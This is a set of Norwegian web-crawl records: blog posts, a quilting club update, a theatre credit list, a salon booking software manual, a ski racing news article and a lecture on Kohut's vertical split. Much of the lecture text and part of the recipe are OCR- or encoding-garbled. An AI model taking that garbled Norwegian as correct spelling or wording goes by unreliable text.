{"url": "http://franciskasvakreverden.blogspot.com/2014/09/ny-vinner-trukket-flere-flotte-premier.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-24T23:10:07Z", "text": "\n\n## mandag 22. september 2014\n\n### Ny vinner trukket\\! Flere flotte premier igjen\\!\n\nDa har jeg trukket den heldige vinneren av weekendopphold til Holmsbu Spa for to personer - verdi kr. 4.780,-  \n  \nVinneren ble:  \n  \n*Charlotte* med bloggen *Islandshundene Askur, Hermina og Fifa*  \n  \nHun har f\u00e5tt beskjed p\u00e5 mail.  \n  \nVant du ikke denne gangen har du fortsatt muligheten for \u00e5 vinne disse flotte premiene\\!  \n  \n**Vinn flott veggdekorasjon i kobber fra Fabelaktig - verdi kr. 999,-\\!**  \n\n### Klikk\u00a0HER\u00a0for \u00e5 bli med\\!\n\nVinneren\u00a0trekkes 21. oktober\\!  \n  \n\n\n   \n#### 1 kommentar:\n\n1.  \n    \n    Har en dr\u00f8m25. september 2014 kl. 22:20\n    \n    Gratulerer til heldig vinner\\!\\!  \n    Spennende :)  \n      \n    Ha en fin helg:)\n    \nTusen takk for alle de\n\nkoselige kommentarene deres\\!\n\nJeg leser alle og setter stor pris p\u00e5 at du\n\ntar deg tid til \u00e5 legge igjen en hilsen\\! :-)\n\n  \nJeg synes det er bare hyggelig hvis\ndu har lyst til \u00e5 l\u00e5ne bilder av meg.\n\nDu trenger ikke sp\u00f8rre f\u00f8rst,\n", "language": "no", "__index_level_0__": "4d608246-71c1-472b-9426-6d3a85cb1295"}
{"url": "https://moldequiltelag.wordpress.com/2014/05/11/maimote/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:37:10Z", "text": "# Molde Quiltelag\n\n## Maim\u00f8te\n\nmai 11, 2014 av moldequiltelag\n\nVeldig hyggelig at nye quiltedamer kommer til m\u00f8tene v\u00e5re. Det er viktig at b\u00e5de nye og gamle medlemmer har det hyggelig sammen med likesinnede, at vi kan dele kunnskap, id\u00e9er og tips, og at vi kan f\u00e5 inspirasjon og gode r\u00e5d fra hverandre.\u00a0\n\nP\u00e5 maim\u00f8tet hadde Britt og Anne Karin en fin, informerende og nyttig demonstrasjon av hvordan man kan bruke Tri-Recs-linjalene. Man kan lage fine stjerneblokker p\u00e5 en enkel m\u00e5te. HER\u00a0er noen bilder fra demonstrasjonen.\n\nDenne m\u00e5neden var det store eller sm\u00e5 tepper p\u00e5 temavisningen. Vi fikk se gamle og nye tepper i mange variasjoner, og ogs\u00e5 en arvet og velbrukt skatt der man nyttet det man kunne, slik lappeteknikkens opprinnelse var. HER er bilder av teppene.\n\nOg selvf\u00f8lgelig hadde vi ogs\u00e5 Vis og fortell med mye fint og variert.\n\n4\\. juni blir siste medlemsm\u00f8te f\u00f8r sommeren, og 13. -15.juni planlegger vi quiltetur med kurs i Trondheim. H\u00e5per mange medlemmer har lyst og mulighet til \u00e5 bli med.\n\n\u00a0\n\n\n", "language": "no", "__index_level_0__": "ca649c3e-ca12-4f1b-a73b-bf6678f0d2de"}
{"url": "http://sceneweb.no/nb/production/21954/17._mai_!-1997-4-25", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-24T23:21:46Z", "text": "## Om 17. mai \\!\n\n***17. mai\\!*** (1997) var en teaterproduksjon av **Oslo Nye Teater**. *17. mai\\!* var en urpremiere basert p\u00e5 en komedie av **Andreas Markusson** med samme tittel. Produksjonen ble satt opp p\u00e5 **Oslo Nye Teater**.\n\nRegiss\u00f8r var **Kjetil Bang-Hansen.**\n\n*17. mai\\!* **ble senere utvidet til en TV-serie med de samme skuespillerne i rollene.  \n**\n\n## Medvirkende\n\n  - Andreas Markusson - Dramatiker\n  - Kjetil Bang-Hansen - Regi\n  - Roy Hellvin - Musikalsk ledelse (Piano)\n  - Helge Hoff Monsen - Scenografi\n  - Grethe Wang - Kostymedesign\n  - Egil Monn-Iversen - Musikkarrangement\n\n  - Sverre Horge - Lysdesign\n  - Aud Sch\u00f8nemann - Skuespiller (Fru Skau)\n", "language": "no", "__index_level_0__": "80b73d25-5176-4b20-b482-f6ff8400f3ee"}
{"url": "http://docplayer.me/2741602-1-1-timebok-pa-nett-1-2014-aktivdata-as-gruveveien-26-3614-kongsberg-telefon-47-982-55-737-47-980-01-351.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00520.warc.gz", "warc_date": "2018-03-25T00:00:50Z", "text": "1 1.1 Timebok p\u00e5 nett N\u00e5r timebok p\u00e5 nett er klart til \u00e5 brukes m\u00e5 man alltid huske p\u00e5 \u00e5 starte \"Aktiv Data Server\" ved starten p\u00e5 dagen. Det er dette programmet som kommuniserer med Timebok p\u00e5 nett og Winklipp. Den overf\u00f8rer arbeidstimer, bestillinger og avbestillinger mellom de to. Foruten de standardiserte sidene har man mulighet til \u00e5 lage egne sider som er tigjengelige for alle, kun ansatte eller kun administrator. N\u00e5r man f\u00e5r timebok p\u00e5 nett vil det som standart ligge en ekstra side kalt \"Egendefinert side\" for hver av brukergruppene. Disse sidene kan endres eller fjernes under Sidene n\u00e5r man er p\u00e5logget som administrator. Det er ogs\u00e5 her man oppretter nye sider de ulike gruppene har tilgang til. N\u00e5r man \u00f8nsker \u00e5 endre eller legge til flere ansatte eller behandlinger etter at AktivData har satt opp timeboken, m\u00e5 AktivData kontaktes. Dette er fordi hver ansatt og behandling er koblet sammen lokalt med timeboken p\u00e5 nett. Gj\u00f8r man foreksempel endringer som \u00e5 fjerne en behandling i Winklipp som ogs\u00e5 ligger tilgjengelig p\u00e5 timebok p\u00e5 nett, m\u00e5 den ogs\u00e5 fjernes derifra. Her er det lett \u00e5 tr\u00e5 feil s\u00e5 det kan v\u00e6re lurt \u00e5 kontakte oss slik at det blir riktig. Et eksempel p\u00e5 en forside: \\~ 1 \\~\n\n\n\n3 1.1.2 Muligheter for de ulike sidene Nyheter Nyheter er tilgjengelig i menyen n\u00e5r man ikke er p\u00e5logget. Her vises nyheter lagt ut av salongen. Man har muligheten til \u00e5 sette nyheter som startsiden n\u00e5r man ikke er logget inn. Dette kan gj\u00f8res under Oppsett- \\> Grunninnstillinger n\u00e5r man er p\u00e5logget som administrator. N\u00e5r man er p\u00e5logget som administrator er ogs\u00e5 nyheter tilgjengelig i menyen. Her kan man endre, slette og legge til nye nyheter for salongen. Man har mange muligheter n\u00e5r man endrer eller lager en ny nyhet blant annet muligheten for \u00e5 legge til bilder. Dette er mulighetene man har ved opprettelse av en ny nyhet eller ved endring av en eksisterende: - Velge en eksisterende nyhet i rullegardinen og gj\u00f8re endringer p\u00e5 den. - Man kan bestemme at nyheten alltid skal vises \u00f8verst p\u00e5 nyhetssiden. - Overskrift, Ingress og Ingressbilde kan endres. - N\u00e5r det gjelder selve innholdet i nyheten legges dette til ganske likt som i et annet skriveprogram. - Man kan legge til overskrifter, endre st\u00f8rrelse p\u00e5 tekst, legge til punkter og lister samt bilder. - Knappene er noks\u00e5 like som i andre skriveprogram s\u00e5 man finner lett frem med \u00e5 pr\u00f8ve seg frem. N\u00e5r man bruker legg til bilde knappen vil den sp\u00f8rre etter en URL. Dette er internett adressen til bildet. Eks p\u00e5 en slik adresse er: \\~ 3 \\~\n\n\n\n\n\n7 Timebok Timebok er tilgjengelig n\u00e5r man er p\u00e5logget som en ansatt. Her vises ukeoversikten opp for den ansatte som er logget inn og man kan se n\u00e5r man har time eller har ledig time. Man kan her veksle mellom alle de ansatte for \u00e5 se ukeoversikten for dem ogs\u00e5. \u00d8verst kan man velge hvilken uke man vil se oversikten for Drop in Drop in er tilgjengelig n\u00e5r man er p\u00e5logget som en ansatt. Her kan man legge til avtaler for kunder som kommer innom uten en avtale og som er vanskelig \u00e5 plassere rett i avtaleboken. Registreres mobil nr til kunde kan det sendes en sms til kunden n\u00e5r det er funnet plass i avtaleboken. Er det registeret noen p\u00e5 Drop in vil disse vises i en liste. N\u00e5r det er en plass i avtaleboken kan man bruke knappen Legg inn for \u00e5 legge en av avtalene i listen til i avtaleboken og er kundens mobilnummer registrert vil kunden f\u00e5 beskjed p\u00e5 sms n\u00e5r timen begynner. N\u00e5r en av avtalene i listen er lagt til i avtaleboken vil de fjernes fra listen. En lignende funksjon finnes i Winklipp programmet kalt Ventelistefunksjon. \\~ 7 \\~\n\n\n\n\n\n11 Arbeidstid Denne siden brukes til \u00e5 legge inn en behandlers arbeidstid. Arbeidstid som blir satt utenfor \u00e5pningstiden blir ignorert. I tillegg til normal arbeidstid er det mulig \u00e5 legge inn avvikende arbeidstid for en uke (f.eks. hvis det er lang\u00e5pent). Muligheter for arbeidstid: - Endre arbeidstider i den normale arbeidsuken - Endre tidene i den normale arbeidsuken og lagre som en avvikende uke ved \u00e5 velge en spesifikk uke. - Lagre arbeidstidene i en uke som en mal. Malen kan senere hentes frem og lagres som en arbeidsuke. - Vise avtaler utenfor arbeidstidene med knappen Avtaler utenfor arbeidstid. - Alle spesielle uker inkludert de normale arbeidstidene vises i en liste nederst. Her kan man Vise, Endre og Slette ukene. Man kan filtrere ut hva som skal vises i listen med \u00e5 bruke feltet vis kun f.o.m. Man kan sette en restriksjon for de ansatte slik at kun administrator kan sette arbeidstid. Dette kan gj\u00f8res under Kontoret \\> Grunninnstillinger n\u00e5r man er p\u00e5logget som administrator. \\~ 11 \\~\n\n\n\n12 \\*Grunninnstillinger Her kan man endre diverse innstillinger: - Oppl\u00f8sning for timeboken i minutter - Tilleggstid for l\u00e6rlinger i minutter - Opptatt avrunding for rute i prosent - Maksimal tid fremover man kan bestille time i dager - Minimum tid for avbestilling i timer - Minimum tid for bestilling i minutter Man kan ogs\u00e5 velge om: - Logging av endringer i timeboken er skal gj\u00f8res. - Medarbeider kan legge inn og endre frav\u00e6r og opptatt tid selv. - Medarbeider kan legge inn og endre arbeidstid selv. - Medarbeider m\u00e5 identifisere seg med PIN kode. - Timebestilling for kunder skal deaktiveres. \\~ 12 \\~\n\n\n\n13 \\*\u00c5pningstider Her legger du inn \u00e5pningstider for din salong. Disse tidene blir brukt som grunnlag for start- og slutt tid for timeboken. V\u00e6r oppmerksom p\u00e5 at hvis du endrer \u00e5pningstider kan avtaler falle utenfor og derfor ikke vises i timeboken. Hvis dette skjer vil du f\u00e5 en advarsel med rapport over hvilke avtaler det gjelder. Man kan ogs\u00e5 her legge til avvikende \u00e5pningstider for uker utenom det vanlige, eks p\u00e5ske, sommer osv. Muligheter for arbeidstid: - Endre \u00e5pningstider for den normale arbeidsuken - Endre \u00e5pningstidene i den normale arbeidsuken og lagre som en avvikende uke ved \u00e5 velge en spesifikk uke s\u00e5 lagre. - Vise avtaler utenfor arbeidstidene med knappen Avtaler utenfor arbeidstid. - Alle spesielle uker inkludert de normale \u00e5pningstidene vises i en liste nederst. Her kan man Vise, Endre og Slette ukene. Man kan filtrere ut hva som skal vises i listen med \u00e5 bruke feltet vis kun f.o.m. \\~ 13 \\~\n\n\n\n14 \\*Behandlingstilbud P\u00e5 denne siden vedlikeholder du behandlingstilbud som din salong tilbyr. Du kan legge til, endre og slette behandlingsgrupper og behandlinger under behandlingsgruppene. : Opprette ny : Endre eksisterende : Slette gjeldende. Ved endring av behandling eller opprettelse av en ny kan man: - Velge behandlingsgruppe for behandlingen. - Velge navn for behandlingen. - Velge om behandlingen er aktiv for bestilling p\u00e5 nett. - Pris. Fra eller fastpris. - Varighet i minutter. - Legge til d\u00f8dtid i behandlinger, tidstillegg avhengig av h\u00e5rlengde og tidstillegg avhengig av h\u00e5rtype. - Hvilke ansatte som tilbyr behandlingen. \\~ 14 \\~\n\n\n\n\n\n - Er l\u00e6rling (gis tidstillegg n\u00e5r kunde bestiller time) Tidstillegget for l\u00e6rling kan endres i\")\n\n17 Timebestilling Timebestilling er tigjengelig n\u00e5r man er p\u00e5logget som en kunde. Her vil det vises en liste over mulige behandlinger man kan velge. Kunden kan ogs\u00e5 her legge til en kommentar for bestillingen i et kommentarfelt under behandlingene. N\u00e5r man g\u00e5r videre velger man hvilken ansatt man \u00f8nsker time hos. Da vil ukeoversikten for den ansatte kommer opp og her vises det n\u00e5r den ansatte har ledig time og er opptatt. Man kan ogs\u00e5 her enkelt veksle mellom de forskjellige ansatte for \u00e5 se n\u00e5r de har ledig time. Man trykker s\u00e5 p\u00e5 et ledig tidspunkt for \u00e5 bestille en time. Passer ingen av tidspunktene kan man velge forskjellige uker \u00f8verst p\u00e5 siden. \\~ 17 \\~\n\n\n\n21 Sidene Sidene er tilgjengelig n\u00e5r man er p\u00e5logget som administrator. Her kan man opprette nye sider eller endre/slette eksisterende for Administrator, Ansatte, Kunde eller Allmennheten. For hver side har man ogs\u00e5 muligheten til \u00e5 opprette undermenyer som vises i menyen n\u00e5r man g\u00e5r inn p\u00e5 den aktuelle siden. : Opprette undermeny : Endre eksisterende : Slette gjeldende. N\u00e5r man bygger en ny side har man mulighet til \u00e5 velge: - Sidenavn - Fanetekst - Hvilken type bruker siden skal tilh\u00f8re - Hvor i menyvalget siden skal vises Ved endring av en sides egenskaperi i ettertid kan man endre de samme tingene utenom hvilken type bruker siden skal tilh\u00f8re. \\~ 21 \\~\n\n\n\n22 For \u00e5 gj\u00f8re endringer p\u00e5 hva siden skal vise trykker man p\u00e5 selve navnet p\u00e5 siden. Her vil det \u00e5 gj\u00f8re endringer p\u00e5 siden v\u00e6re ganske likt som \u00e5 bruke et skriveprogram. Man kan legge til overskrifter, endre st\u00f8rrelse p\u00e5 tekst, legge til punkter og lister samt bilder. Knappene er noks\u00e5 like som i andre skriveprogram s\u00e5 man finner lett frem med \u00e5 pr\u00f8ve seg frem. N\u00e5r man bruker legg til bilde knappen har man mulighet til \u00e5 velge bilder fra bildearkivet eller \u00e5 laste opp et nytt bilde som skal brukes Rundskriv Rundskriv er tilgjengelig n\u00e5r man er p\u00e5logget som administrator. P\u00e5 denne siden kan du sende e-post/nyhetsbrev til alle brukere med valgt rolle som har angitt at de \u00f8nsker \u00e5 motta e-post. Det er ogs\u00e5 mulig \u00e5 sende e-post med vedlegg (f.eks. en prisliste), men da m\u00e5 vedlegget v\u00e6re mindre enn 80Kb. De forskjellige rollene kan v\u00e6re: Alle, Administrator, Ansatte og Kunder. \\~ 22 \\~\n\n27 Fjerning Ved fjerning av ansatt eller deaktivering fra timeboken p\u00e5 nett gj\u00f8res dette i menyen Brukeradmin som er tilgjengelig n\u00e5r man er p\u00e5logget som administrator. Her velger man hvilken ansatt det gjelder i listen og fjerner haken for valget: nederst p\u00e5 siden. Man m\u00e5 ogs\u00e5 huske p\u00e5 og fjerne WEB ID som er lagret i WinKlipp programmet p\u00e5 den ansatte. I programmet WinKlipp lokalt p\u00e5 maskinen g\u00e5r man inn p\u00e5 menyen Bruker og velger den aktuelle ansatte som skal fjernes fra nett og velger Endre. I feltet WEB ID skal man fjerne det som st\u00e5r slik at den st\u00e5r tom. Glemmer man dette siste steget vil det komme opp en feilmelding i programmet Aktiv Data Server som er programmet som kommuniserer med timeboken p\u00e5 nett, da den pr\u00f8ver \u00e5 kommunisere til en ansatt som ikke fins eller er blitt satt som ikke aktiv p\u00e5 nett. \\~ 27 \\~\n\n", "language": "no", "__index_level_0__": "6fcaf6ec-517e-429b-b86b-7b961b4fb57a"}
{"url": "http://caprifol.blogg.no/1327851732_vanilla_cupcakes_with.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-24T23:06:24Z", "text": "## Vanilla Cupcakes With Vanilla Bean Frosting\n\n  - 29.01.2012 kl.16:42 i Cupcakes\nJeg har brukt en opskrift fra boken Love Manuela til \u013a lage vanilla bean frosting:\n\n7 Eggehviter  \n5 dl Sukker  \nFr\u0159 fra en vaniljestang\n\nMikses sammen i en bolle over en kasserolle med kokende vann til sukkerkornene har smeltet.  \nMiks videre, av varmen, til kremen er blitt luftig og fin.\n\nJeg delte oppskriften i 3, s\u013a godt det lot seg gj\u0159re:)  \n  \nJeg har brukt en 8B tipp fra Witon, ogs\u013a kallt fransk tipp.  \n  \nHar pyntet med rosa sukkerperler fra Wilton  \n  \n  \n  \n  \n  \nHa en str\u013alende s\u0159ndag s\u0159te lesere, jeg skal avg\u013arde til den 3. nattevakten 21:30. Dere f\u013ar ha en god natts s\u0159vn:)  \n\n\n  - 29.01.2012 kl.16:42 i Cupcakes\n\n\n", "language": "no", "__index_level_0__": "c55a7448-0bfd-4160-919d-086e4395ff98"}
{"url": "http://xn--kulturslyfa-ngb.no/?p=2055", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-24T23:11:02Z", "text": "# Kom med innspill p\u00e5: elm.no/samfunnshus\\!\n\nSkrevet 10. juni 2013  av  Agnes\n\n\n\nelm.no/samfunnshus\n\n\u00a0\n## En tanke om \"Kom med innspill p\u00e5: elm.no/samfunnshus\\!\"\n\n1.  11. juni 2013, kl. 09:08 sa Olaug Parmer:\n    \n    Hagebykoret, som har kor\u00f8velser 2 timer hver onsdag, kunne hatt stor glede av \u00f8vingslokale ved Trikkesl\u00f8yfa. Vi er for tiden 27 betalende medlemmer, har eksistert som kor i 7 \u2013 8 \u00e5r, og rekrutterer medlemmer prim\u00e6rt fra Ullev\u00e5l Hageby m/omegn. Dagens \u00f8vingslokale p\u00e5 T\u00e5senhjemmet er usikkert for oss, da T\u00e5senhjemmet er i ferd med \u00e5 f\u00e5 nye eiere.  \n    H\u00e5per derfor det \u00e5pner seg en mulighet for \u00f8vingslokale i nytt kulturhus p\u00e5 Trikkesl\u00f8yfa\\!\n    \n    Vennlig hilsen Olaug Parmer\n    \n", "language": "no", "__index_level_0__": "e242ae94-89f7-4593-a8bd-1fbe09aec935"}
{"url": "https://www.nrk.no/sport/kristoffersen-forbannet-etter-sesongapningen-1.13191880", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00170.warc.gz", "warc_date": "2018-03-25T00:13:22Z", "text": "# Kristoffersen bekymret for at treninga ikke har v\u00e6rt god nok\n\nFor to dager siden mente Henrik Kristoffersen at han kj\u00f8rte \u00abstyggfort\u00bb i storslal\u00e5m. Etter s\u00f8ndagens renn var inntrykket et helt annet.\n\n\n\n\n\nMarte Nyl\u00f8kken Helseth @MNHelseth Journalist\n\n\n\n\n\n  Publisert  23.10.2016, kl. 14.04 \nDet var s\u00e5 godt som umulig \u00e5 missforst\u00e5 kroppsspr\u00e5ket til Henrik Kristoffersen da han kj\u00f8rte i m\u00e5l etter finaleomgangen i S\u00f6lden.\n\n\n\nDa han s\u00e5 opp p\u00e5 resultattavla skrek han til med det som virket til \u00e5 v\u00e6re en godt kjent norsk glose. Rett etter l\u00f8ftet han opp staven og slo den hardt ned i bakken av all sin kraft.\n\n(Se video av Kristoffersen i m\u00e5lomr\u00e5det lenger ned i saken)\n\n**\u2013 Det var for d\u00e5rlig, det er ikke noe mer \u00e5 si om det, sa Kristoffersen til NRK etter rennet.**\n\n## Stor avstand til teten\n\nEtter f\u00f8rsteomgangen l\u00e5 Kristoffersen p\u00e5 en niendeplass, 1.08 sekunder bak franske Alexis Pinturault. Med det som utgangspunkt sa han til NRK at han hadde som m\u00e5l \u00e5 kj\u00f8re seg opp p\u00e5 pallen.\n\nMen slik gikk det ikke.\n\nEn stor feil f\u00f8r f\u00f8rste mellomtid kostet altfor mye og han kj\u00f8rte inn til en \u00e5ttendeplass, hele 1.92 sekunder bak suverene Alexis Pinturault som vant rennet.\n\nMed den avstanden har Kristoffersen stilt seg sp\u00f8rsm\u00e5let om sesongoppkj\u00f8ringen egentlig har v\u00e6rt s\u00e5 god som han har trodd.\n\n\n\n## Usikker p\u00e5 egen trening\n\nS\u00e5 sent som for to dager siden sa 22-\u00e5ringen til NRK at det har g\u00e5tt \u00abstyggfort\u00bb etter at han har trent mer storslal\u00e5m f\u00f8r denne sesongen.\n\n\u2013 P\u00e5 trening har det gjort at jeg kj\u00f8rer fortere enn det jeg har gjort f\u00f8r, sa han f\u00f8r sesong\u00e5pningen.\n\nEtter s\u00f8ndagens renn var derimot inntrykket et helt annet.\n\n**\u2013 N\u00e5 er jeg bekymret for at det vi gj\u00f8r p\u00e5 trening ikke er godt nok. At det ikke er sant at jeg har kj\u00f8rt veldig godt i det siste. Jeg f\u00f8ler det har g\u00e5tt fort, i hvert fall sammenlignet med de andre. Men om det er godt nok vet jeg tydeligvis ikke, sier han til NRK.**\n\n## Norsk skuffelse\n\nNeste renn i verdenscupen er i Finland den 13. november. Da st\u00e5r slal\u00e5m p\u00e5 programmet, en gren Kristoffersen tok hele seks verdenscupseiere i sist sesong.\n\n\u2013 Det absolutt eneste positive jeg tar med meg herfra er at da Hirscher vant totalcupen sammenlagt for f\u00f8rste gang, ble ogs\u00e5 han nummer \u00e5tte i S\u00f6lden, avsluttet 22-\u00e5ringen.\n\nNest best blant de norske etter f\u00f8rste omgang Kjetil Jansrud. Men da han satte utfor i finaleomgangen var han uheldig og kj\u00f8rte ut. Leif Kristian Haugen kj\u00f8rte seg opp til en 18.-plass, mens Aleksander Aamodt Kilde endte p\u00e5 en 23.-plass.\n\n\n\n  Publisert  23.10.2016, kl. 14.04 \n\n### Alpint\n\n\n\n## Kristoffersen knust av ukjente nordmenn\n\nSondre Justad.\n\n\n## Zlatan: \u2013 Landslagsleiinga ringjer meg kvar dag\n\nSverige arbeider hardt for \u00e5 f\u00e5 Zlatan Ibrahimovic til \u00e5 seie ja til landslaget f\u00f8r VM i sommar.\n\nAv Arve Lote\n\n## Reiten-scoring fr\u00e5 midtstreken d\u00e5 LSK knuste V\u00e5lerenga\n\nDet skulle vere toppkamp og V\u00e5lerengas inntog blant Toppseriens medaljekandidatar. Men LSK vann med 5\u20130. Og det var s\u00e6rleg eitt av m\u00e5la som blei lagt merke til.\n\nAv Arve Lote\n\n## Riiber karret seg til pallplass: \u2013 Tenkte \u00abfy s\u00f8ren, her g\u00e5r man rett gjennom\u00bb\n\nJarl Magnus Riiber tok en ny, sterk andreplass, men tror det spesielle f\u00f8ret i Schonach kan ha gjort at det ikke ble seier.\n\nAv Yasmin Sunde Hoel\n\n  - 24\\. mars 2018 kl. 23:16\n    \n    ## Karjakin har tatt teten\n    \n    Sergej Karjakin, som opna kastrofalt svakt, slo i dag Fabiano Caruana og leier kandidatturneringa i sjakk. To rundar st\u00e5r att. Vinnaren skal m\u00f8te Magnus Carlsen i VM-kamp i november.\n    \n    \n\n  - Skiskyting\n    \n    24\\. mars 2018 kl. 23:03\n    \n    ## Verdensrekord p\u00e5 halvmaraton\n    \n    Netsanet Kebede fra Etiopia l\u00f8p inn til verdensrekord da hun sikret VM-gullet i halvmaraton for kvinner i Valencia l\u00f8rdag.\n    \n    Vinnertiden l\u00f8d p\u00e5 1.06.11. Med det slo Kebede verdensrekorden til nederlandske Lornah Kiplagat fra 2007 med 14 sekunder.\n    \n    \n\n  - 24\\. mars 2018 kl. 22:21\n    \n    ## Vann lengste skil\u00f8pet i verda igjen\n    \n    Vasalopp-vinnar Andreas Nygaard vann det 220 km lange Nordenskioldsloppet fr\u00e5 Jokkmokk til Kvikkjokk og tilbake i Nord-Sverige. L\u00f8pet starta klokka 06 og var ikkje over f\u00f8r n\u00e6rmare klokka 19.30.\n    \n    \u2013 Dette er det t\u00f8ffaste eg har gjort, sa Nygaard etterp\u00e5. Han spurtslo \u00d8yvind Moen Fjeld.\n\n", "language": "no", "__index_level_0__": "95887b2c-e141-4866-9930-cba923ed987a"}
{"url": "http://docplayer.me/1963627-Kohuts-begrep-om-en-vertikal-splitt-i-personligheten-foredrag-av-sigurd-aanderaa-i-forum-for-selvpsykologi-31-08-06.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00203.warc.gz", "warc_date": "2018-03-24T23:46:45Z", "text": "1 Kohuts begrep om en vertikal splitt i personligheten Foredrag av Sigurd Aanderaa i Forum for Selvpsykologi, Introduksjon Kohut introduserer begrepet vertikal splitt i personligheten for en lesende psykoanalytisk offentlighet i sin fsrste bok, The Analysis of the Self ( 1971). 1 den blir dette begtepet utvijdet for Ii forst\\! den type av pasienter med en alvorlig narsissistisk personlighetsforstyrrelse,m.ed en godt synlig urealistisk grandiositet, arrogante og skrytende. Kohut lager dette begrepet som en modifikasjon avtereuds begrep om en.sp\\\\itt i ego. Senere i forfatterskapet bruker Kohut dette begrepet omfattende tre ganger, i en forelesning ved Instituttet i Chicago som senere er utgitt som et kapittel i en bok, i hans andre bok Restoration of the Self (1977). En fjerde og siste gang i den artikkelen som er den mest omfattende kasuistikken han skrev, The Two Analysis of Mr. Z (1979). I de to siste publikasjonene brukes ogsa begrepene om A forst\\! konkrete pasienter med narsissistisk patologi, men her er det kommet inn det tilleggsmoment at kasuistikkene skal illustrere hvordan en selvpsykologisk kan yte en klinisk forstaelse der klassisk psykoanalyse kommer til kort. Kohut har med andre ord slik jeg oppfatter det et dobbelt siktemai med sin interesse for dette begrepet, A forsta og komme med intervensjonsanbefalinger i forhold til en bestemt type patologi, og A synliggjme nedvendigheten av det selvpsykologiske paradigmet. Dette foredraget baserer seg pa hovedoppgaven min pa profesjonsstudiet i psykologi som jeg leverte til jul i fjor. Min interesse for begrepet startet med relativt ytre beveggrunner. Det er ikke sa mye brukt og omtalt at det ville vrere en for stor oppgave A sette seg inn begrepet, samtidig som det er nok utviklet til at det er noe A skrive om. Et annet moment som var viktig for meg var at dette begrepet er en metafor. Jeg hadde tilegnet meg en del Imnnsicaper innenfor moderne lingvistisk metaforteori (mer presist Conceptual metaphor, George Lakoff, Mark Johnson etc) og IDlSket A se om det kunne fim: til noe interessant A se pa et selvpsykologisk begrep med slike briljer. Med A betegne dette som en metafor sikter jeg til at begrepene det er sammensatt avi vertilcaj som pa norsk kanskje like gjerne kunne blitt oversatt med loddrett, og splitt som kanskje like gjerne kunne oversettes med spalte, at disse begrepene er opprinnelig utviklet i dagligspraket for A klassifisere romlige erfaringer, men blir brukt av Kohut om et fenomen i den psykologiske verden. Et forhold som gjm dette srerlig tydelig som metafor er at Kohut ikke bare bruker ordene 'vertical split' for A referere til dette begrepet, men han bruker ogsa fire ganger i forfatterskapet et diagram for A ill ustrere en slik personlighetsstruktur. (Vise frem). Det var to erfaringer med dette begrepet som metafor jeg fokuserte pa i oppgaven. For det fsrste det forhold at begrepet vertikal splitt, til tross for at det henter sine konseptuelje rimaterialer fra et helt annet erfaringsomride, spontant vil bli gitt en psykologisk relevant fortolkning av Kohuts leser. For eksempel gir hans diagrammer ganske umiddelbart psykoanalytisk mening, uten at det er nedvendig for oss A bevisst analysere dette som metaforer. For det andre prsvde jeg A si noe om hvorfor og i hvilken grad en kliniker ville kunne oppleve en slik metafor som fruktbar. Jeg bar ikke tenkt A si noe mer om dette her, men i arbeidet med dette matte jeg klarlegge hva Kohut la inn i dette begrepet, og etter hvert opplevde det som et ganske sa interessant og klinisk meningsfuut begrep, og det er dette kliniske begrepet jeg vii snakke om her. Det er kun et sted Kohut gir noe som ligner pa en defmisjon av begrepet, og den forekommer i Analysen av selvet, En vertikal splitt bestemmes 50111: \"EnJaonislcendring i\n\n\n\n2 pcrsonligbetsstmktur Irorrelert til kronisk benekting(disawoval)\". Videre fremhever han at denne \"viser seg ved inkonsistente, bevisste, psykologislce boldninger SOlD eksisterer ved siden av hverandre ogidybdeo\". Kohut forteller oss a1tsa ferst at vertikal splitt er en betegnelse pa en type personlighet struktur, i betegnelsen av dette 80m en kronisk endring siktes det til at denne strukturen er et avvik fra sunn utvikling. For det tredje sa knytter Kohut forsvarsmekanismen disawoval til en slik personlighetsstrukturendring, Kohut gjlm lite ut av og er lite tydelig pi hvordan han forstir relasjonen meuom denne forsvarsmekanismen og vertikal splitt, jeg vil derfor ikke gi nrermere inn i dette. Deretter presenteres noen karakteristikker 80m dreier seg om de manifeste egenskapene ved en slik personlighetstruktur. Nemlig at den bestar av to sektorer i pcrsonligheten 80m bar et psykologiske innhold som ikke er konsistent med hverandre. Som vi skai se bar Kohuts pasienter pi den ene siden en grandios opplevelse av seg selv 80m unike i betydning, evner og muligheter, pi den annen siden en depressiv selvopplevelse av tomhet-fravrer av betydning, usikkerhet, hapleshet Disse to settene av inkonsistente sejvopplevelser konseptualiserer Kohut som at befinner seg i to adskilte selrtorer. Kohut understreker ogsa at disse sektorene begge to eksisten:r i dybden, en mulig tolkning av dette er at Kohut sik:ter til at begge disse sektorene bar sitt eget grunnlag. Dette begrepet slik det introdusereres og defrneres i Analysen av selvet er relativt abstrakt. \\[ denne bestemmelsen av begrepet ligger det ingen implikasjoner om hvilke oppvekstscenarier 80m resulterer i en slik strukturendring. Kohuts a1menne bestemmelse av vertikal splitt inneholder heller ikke eksplisitte formuieringer om det terapeutiske arbeidet med slik patologi. Det jeg fant gjennom en na:rlesning av Kohuts brok av dette begrepet i ulike sammenhenger er at hans interesse for begrepet primrert er knyttet til at det hjelper til A forsta a1vorlig personlighetsforstyrrelse med st:rukturelt betinget Apenlys og stsyende narsissisme. Kohut broker begrepet vertikal splitt i ulike faser av sin teoretiske utvikling, men det er tydelige gjennomgiende trider i hvordan han broker begrepet, og det 80m trer frem i en nrerlesning er et ganske fyldig begrep om en type personlighetstruktur somibar sitt opphav i hestemte\\!relasjoner til senttale omsorgsgivere' og medf.erer et sett av terapeutiske 